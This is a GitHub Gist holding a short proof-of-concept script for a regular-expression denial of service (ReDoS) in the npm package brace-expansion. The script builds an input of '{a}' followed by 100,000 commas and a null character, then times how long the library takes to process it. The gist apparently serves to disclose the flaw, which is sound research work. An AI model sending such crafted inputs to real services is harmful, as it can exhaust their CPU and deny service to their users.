Last active
January 20, 2025 04:14
-
-
Save mmmsssttt404/37a40ce7d6e5ca604858fe30814d9466 to your computer and use it in GitHub Desktop.
ReDos in brace-expansion
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//poc.js | |
import index from "./index.js"; | |
let str = "{a}" + ",".repeat(100000) + "\u0000"; | |
//let str = "{a}" + ",".repeat(100000) + "\n@"; | |
let startTime = performance.now(); | |
const result = index(str); | |
let endTime = performance.now(); | |
let timeTaken = endTime - startTime; | |
console.log(`匹配耗时: ${timeTaken.toFixed(3)} 毫秒`); | |
//run `npm install brace-expansion` | |
//run `node poc.js` |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment